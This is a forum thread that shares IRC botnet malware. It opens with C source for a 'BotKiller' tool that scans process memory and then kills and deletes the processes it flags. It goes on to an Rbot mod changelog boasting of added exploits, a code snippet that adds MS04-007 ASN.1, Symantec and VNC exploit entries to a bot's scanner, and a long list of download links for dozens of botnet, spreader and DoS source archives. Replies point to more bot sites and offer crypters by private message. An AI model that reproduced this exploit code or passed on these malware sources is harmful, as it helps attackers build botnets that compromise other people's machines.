BotKiller by a59 Code: /* BotKiller Coded by a59 */ #include <windows.h> #include <stdio.h> #include <tlhelp32.h> void DoSearch( unsigned long uStartAddr, unsigned long uEndAddr, PROCESSENTRY32 pe32 ); void KillBot( PROCESSENTRY32 pe32 ); struct s_Search { char* szBot; char* szString; }; s_Search sSearch[ ] = { { "VNC Scanning Bot", "\x52\x46\x42\x20\x30\x30\x33\x2E\x30\x30\x38\x0A" }, { "RXBot", "[MAIN]" }, { "RXBot", "[SCAN]" }, { "RXBot", "[FTP]" }, { "Unknown", "&echo bye" }, { NULL, NULL } }; void DoSearch( unsigned long uStartAddr, unsigned long uEndAddr, PROCESSENTRY32 pe32 ) { char szBigBuffer[ 0x5000 ] = { 0 }; unsigned char Curbuf[ 0x500 ] = { 0 }; HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID ); printf( "Scanning PID: %d [ %s ]\nStart Address: 0x%08X End Address: 0x%08X\n\n", pe32.th32ProcessID, pe32.szExeFile, uStartAddr, uEndAddr ); for( unsigned long uCurAddr = uStartAddr; uCurAddr <= uEndAddr; uCurAddr++ ) { BOOL bRead = ReadProcessMemory( hProcess, (void *)uCurAddr, (void *)&Curbuf, sizeof( Curbuf ), NULL ); if( bRead ) { int c = 0; strcat( szBigBuffer, (char *)Curbuf ); while( sSearch[ c ].szString != NULL ) { if( strstr( szBigBuffer, sSearch[ c ].szString ) ) { printf( "Found string \"%s\" in \"%s\" bot \"%s\"\n\n", sSearch[ c ].szString, pe32.szExeFile, sSearch[ c ].szBot ); KillBot( pe32 ); } c++; } if( sizeof( szBigBuffer ) > 0x150 ) ZeroMemory( szBigBuffer, sizeof( szBigBuffer ) ); } if( !bRead ) break; } CloseHandle( hProcess ); }; void KillBot( PROCESSENTRY32 pe32 ) { MODULEENTRY32 me32 = { 0 }; HANDLE hPath = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, pe32.th32ProcessID ); HANDLE hKillProcess; me32.dwSize = sizeof( me32 ); BOOL bRetval = Module32First( hPath, &me32 ); while( bRetval ) { if( !strcmp( pe32.szExeFile, me32.szModule ) ) { SetFileAttributes( me32.szExePath, FILE_ATTRIBUTE_NORMAL ); hKillProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID ); TerminateProcess( hKillProcess, 0 ); Sleep( 500 ); if( DeleteFile( me32.szExePath ) ) printf( "Terminated and deleted %s\n", me32.szExePath ); } bRetval = Module32Next( hPath, &me32 ); } CloseHandle( hKillProcess ); CloseHandle( hPath ); }; int main( ) { char szFile[ 128 ]; GetModuleFileName( GetModuleHandle( NULL ), szFile, sizeof( szFile ) ); char* szBlockList[ ] = { "explorer.exe", "hidserv.exe", "WINLOGON.EXE", "SERVICES.EXE", szFile }; HANDLE hProcess = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); PROCESSENTRY32 pe32; pe32.dwSize = sizeof( PROCESSENTRY32 ); BOOL bRetval = Process32First( hProcess, &pe32 ); bool bDoSearch = true; while( bRetval ) { Sleep( 250 ); for( int i = 0; i < ( sizeof( szBlockList ) / sizeof( char* ) ); i++ ) { if( strstr( szBlockList[ i ], pe32.szExeFile ) ) bDoSearch = false; } if( bDoSearch ) { DoSearch( 0x00400000, 0x004FFFFF, pe32 ); DoSearch( 0x00100000 ,0x001FFFFF, pe32 ); } else bDoSearch = true; bRetval = Process32Next( hProcess, &pe32 ); } CloseHandle( hProcess ); printf( "Done scanning, press ENTER to exit this program.\n" ); getchar( ); return 0; };
Rbot-Smod Code: /* Modded Rbot (version 0.2.1) by S (credit goes to rbotdev team for creating this bot, and racerx90 for warning fix) -fixed warnings // thx to racerx90 -fixed regstart // so it doesnt hang on reboot -added more ntpasses // -added Csendfilemsg // taken from rbot2.2 shows which share is exploitet. -added dameware (test) // removed -added mydoom (test) // have no idea if the source wrks. -added more ntshares (experimental) // should get me 1 or 2 bots more Wink Coming up. -netcommandmodule // racerx90 did it again -dcom // if know how to -dameware // if i can find the source needed. */ Download http://rapidshare.com/files/17062314/rbot-smod.rar
Code: Programmed by: PrinceAli Language: Delphi Release Date: 04/11/2004 Description: Advanced IRC bot with a lot of features. In beta stage. Read the help.chm for the features. http://rapidshare.com/files/46929348/nuclearbot10beta1.zip http://rapidshare.com/files/46930082/nuclearBot.rar
Kaiten.c.Bot[b/] http://rapidshare.com/files/20556964/Rose_2008.rar Add this to advscan.cpp Code: #ifndef NO_MS04007ASN1 { "asn1smb", "asn1smb", 445, MS04_007_MSASN1_PortedByScriptGod, 0, FALSE, TRUE }, { "asn1smbnt", "asn1smbnt",139, MS04_007_MSASN1_PortedByScriptGod, 0, FALSE, TRUE }, #endif #ifndef NO_SYM06010 {"sym", "sym", 2967, SYMExploit, 0, TRUE, TRUE}, #endif #ifndef NO_VNC {"vnc", "vnc", 5900, VNCExploit, 0, FALSE, FALSE}, #endif http://rapidshare.com/files/19840994/Rose_2008_Exploits.rar.html
http://rapidshare.com/files/52835354/Rose_2008.rar http://rapidshare.com/files/52836063/zunker.rar http://rapidshare.com/files/52836081/gsys3_final.zip http://rapidshare.com/files/52836106/h4x0rb0t_2.0_gt_edition.zip http://rapidshare.com/files/52836110/q8bot.zip http://rapidshare.com/files/52836234/rxbot_0.65.zip http://rapidshare.com/files/52836409/sd_bot_all.zip http://rapidshare.com/files/52836447/spybot_1.2c.zip http://rapidshare.com/files/52836511/spybot_1.3m.zip http://rapidshare.com/files/52836571/spybot_1.4.zip http://rapidshare.com/files/52836606/tgspy_nt.zip http://rapidshare.com/files/52836638/vbbot.zip http://rapidshare.com/files/52836670/wisdom.zip http://rapidshare.com/files/52837065/_sHk-Bot.svchost-ns-dev.NOT-FOR-RELEASE_.rar http://rapidshare.com/files/52837286/bBot-Version_0.6.rar http://rapidshare.com/files/52837430/BlowSXT.rar http://rapidshare.com/files/52837462/bmw.rar http://rapidshare.com/files/52837471/Brainbot_v1.5.zip http://rapidshare.com/files/52837610/ciscobawt.rar http://rapidshare.com/files/52837950/Crackbot_v1.4b-final_spin.zip http://rapidshare.com/files/52838058/Crx-realmbot_VNC_exploit.rar http://rapidshare.com/files/52838136/CYBERBOTv2.2-Stable.m0dd_ownz.DreamWoRK.rar http://rapidshare.com/files/52838409/Darkness.last.mod.rar http://rapidshare.com/files/52838488/dopebot.rar http://rapidshare.com/files/52838593/dopebot_current.rar http://rapidshare.com/files/52838764/drx_realcast_woopie.rar http://rapidshare.com/files/52839155/ForBot____sniffer__other_mods-_ch405_.rar http://rapidshare.com/files/52840566/ForBot_Olin-SYM-VNC-NETAPI-All_The_Public_Shit.rar http://rapidshare.com/files/52840572/fxBot_beta_.rar http://rapidshare.com/files/52840627/Gellbot_3.rar http://rapidshare.com/files/52841090/GENTOOreptile-base.rar http://rapidshare.com/files/52841321/g-spotv2.0.rar http://rapidshare.com/files/52841686/gt.zip http://rapidshare.com/files/52841920/gt-badteam.rar http://rapidshare.com/files/52841936/gtbot-hackersteam.zip http://rapidshare.com/files/52841977/gtsev-spreader_2_.rar http://rapidshare.com/files/52842027/gtsev-spreader.rar http://rapidshare.com/files/52842487/gt-virtualslut.rar http://rapidshare.com/files/52842765/H-Bot_M0d_3.0_M0dd3d_by_TH___Sculay.rar http://rapidshare.com/files/52842810/hellbot10-06-05.rar http://rapidshare.com/files/52842901/IHS-H-A-V003-Exploits.zip http://rapidshare.com/files/52843170/iis-gt-bot.rar http://rapidshare.com/files/52843273/InTeL_m0dd-Test101-ms0640.rar http://rapidshare.com/files/52843363/irbot0.15.rar http://rapidshare.com/files/52843408/IrcWormv1.3-SourceCode.zip http://rapidshare.com/files/52844568/IrINi_bot_0.1_public_limited_version_for_win32.rar http://rapidshare.com/files/52844948/italian.zip http://rapidshare.com/files/52845113/JRBOT_Modded_By__bloody_.rar http://rapidshare.com/files/52845177/litmus2-bot_2_.rar http://rapidshare.com/files/52845236/litmus2-bot.rar http://rapidshare.com/files/52845315/M0LdBotv1.0-small.rar http://rapidshare.com/files/52845448/mm0d_asn_.rar http://rapidshare.com/files/52845604/mmodbasn.rar http://rapidshare.com/files/52845663/MSITBotWin.rar http://rapidshare.com/files/52845796/mystic-Urx.rar http://rapidshare.com/files/52845929/mystic-Urx_Fixed_by_Pr1muz.rar http://rapidshare.com/files/52846023/nesebot1.1r-ASN-PNP.rar http://rapidshare.com/files/52846144/nesebot1.2.rar http://rapidshare.com/files/52846279/Netapi.Prueb-Norman.2oo6.Prif-Jessi-Off.rar http://rapidshare.com/files/52846415/New_NZM_netapi_bot.rar http://rapidshare.com/files/52846446/NtScan-rbot.rar http://rapidshare.com/files/52846659/nzm_priv_shit.rar http://rapidshare.com/files/52846786/nzmlite_symantec___.rar http://rapidshare.com/files/52846822/oscar.rar http://rapidshare.com/files/52846830/php_bot.rar http://rapidshare.com/files/52846983/plague.gecko.netapi.rar http://rapidshare.com/files/52847104/private_enzyme_rxmod_04-04-05.rar http://rapidshare.com/files/52847250/prv_nzm-rx.sp2fix.rcast.rar http://rapidshare.com/files/52847358/r00t3d.asn.ftp.lsass.by.Morgan.rar http://rapidshare.com/files/52847571/rbot_netapi_vnc_ipswitch.rar http://rapidshare.com/files/52847611/rbot-LC-Priv8.rar http://rapidshare.com/files/52847791/rBot-sxt-harro.rar http://rapidshare.com/files/52847896/rBotv0.6.6-privlsass.rar http://rapidshare.com/files/52847937/rnm5b.rar http://rapidshare.com/files/52847984/RNM5-Priv-Pr1muZ.rar http://rapidshare.com/files/52848075/Rose_v1.3_2007_by_DreamWoRK.rar http://rapidshare.com/files/52848163/Ruffbot1.2-MassAsnPrivShit-150705.rar http://rapidshare.com/files/52848374/Ruffbotv2.rar http://rapidshare.com/files/52848463/rx-14-09-06_Netapi_doyley.rar http://rapidshare.com/files/52848709/rx_dev_service_working_lsass_sasser_ftpd.rar http://rapidshare.com/files/52848869/Rx_Temptation.rar http://rapidshare.com/files/52849034/rx-asn-2-re-worked_v2.rar http://rapidshare.com/files/52849219/rx-asn-2-re-worked_v3.rar http://rapidshare.com/files/52849439/RXB__tM__d-VNC-NETAPI-ASN-2006.rar http://rapidshare.com/files/52849760/rxbot7.5.rar http://rapidshare.com/files/52849925/rxbot2006.rar http://rapidshare.com/files/52850260/rxBot_v0.7.7_Sass.rar http://rapidshare.com/files/52850393/Rxbot_7.6-Modded-Tr0gdor_2_.rar http://rapidshare.com/files/52850526/Rxbot_7.6-Modded-Tr0gdor.rar http://rapidshare.com/files/52850644/rxbot_undertow-6-6-05ASN.rar http://rapidshare.com/files/52850725/rxbot_undertow-6-10-05.rar http://rapidshare.com/files/52850857/rxbot-EcLiPsE-cReW-1.1.priv.rar http://rapidshare.com/files/52851010/RxBot-MP.rar http://rapidshare.com/files/52851093/RXBOT-RevengE2005pnp.rar http://rapidshare.com/files/52851227/rx-sky2kpnpprivate.rar http://rapidshare.com/files/52851269/SBX.amk.0x00.rar http://rapidshare.com/files/52851317/sdbot05b_skbot__mods_by_sketch.rar http://rapidshare.com/files/52851337/sdbot05b-AE.zip http://rapidshare.com/files/52851544/Sdbot_Hardcore_Mod_By_StOner.zip http://rapidshare.com/files/52851581/SDBOTNTSharesHardCorePrivM0D.rar http://rapidshare.com/files/52851826/SDNB.sirh0t.FiXED.PNP.ASN.rar http://rapidshare.com/files/52851889/sdnbbot_sp2mod_wks_kelvir.rar http://rapidshare.com/files/52851983/skatan-bot.rar http://rapidshare.com/files/52852117/SkuZ-Netapi.rar http://rapidshare.com/files/52852198/spybot1.4.zip http://rapidshare.com/files/52852223/spybot2nd.rar http://rapidshare.com/files/52852264/spybot_1.3m.zip http://rapidshare.com/files/52852412/srbot.rar http://rapidshare.com/files/52852449/stubos-public.zip http://rapidshare.com/files/52852591/symn.rar http://rapidshare.com/files/52852593/SynDoS1.1.zip http://rapidshare.com/files/52852739/uber-wks-asn-m0dded-Pr1v_2_.rar http://rapidshare.com/files/52852969/uber-wks-asn-m0dded-Pr1v_3_.rar http://rapidshare.com/files/52853119/uber-wks-asn-m0dded-Pr1v.rar http://rapidshare.com/files/52853255/Urxbot.pRiV-sKull.MoD-ASN_FTP_WORKING.rar http://rapidshare.com/files/52853364/URX-pnp-asn.rar http://rapidshare.com/files/52853396/wisdom_phr0st_modd.zip http://rapidshare.com/files/52853436/xerion2.5.rar http://rapidshare.com/files/52853475/xTBot.0.0.2-priv.rar
nice collection,thx... btw u can find more bots also here: Code: http://www.botcu.net/index.html Code: http://exy.hu/ Code: http://bot-dlbaze.extra.hu/
На каком то сайте я видел эту базу ботов гдето пару месяцев назад. Российского производства ботов нету чтото ) типа Dkcs и Illusion ) В инете подобную базу криптеров встречал. (но там не все есть исходники), кому нужно пишите в PM дам линк, а то тут такое размещать правила запрещают )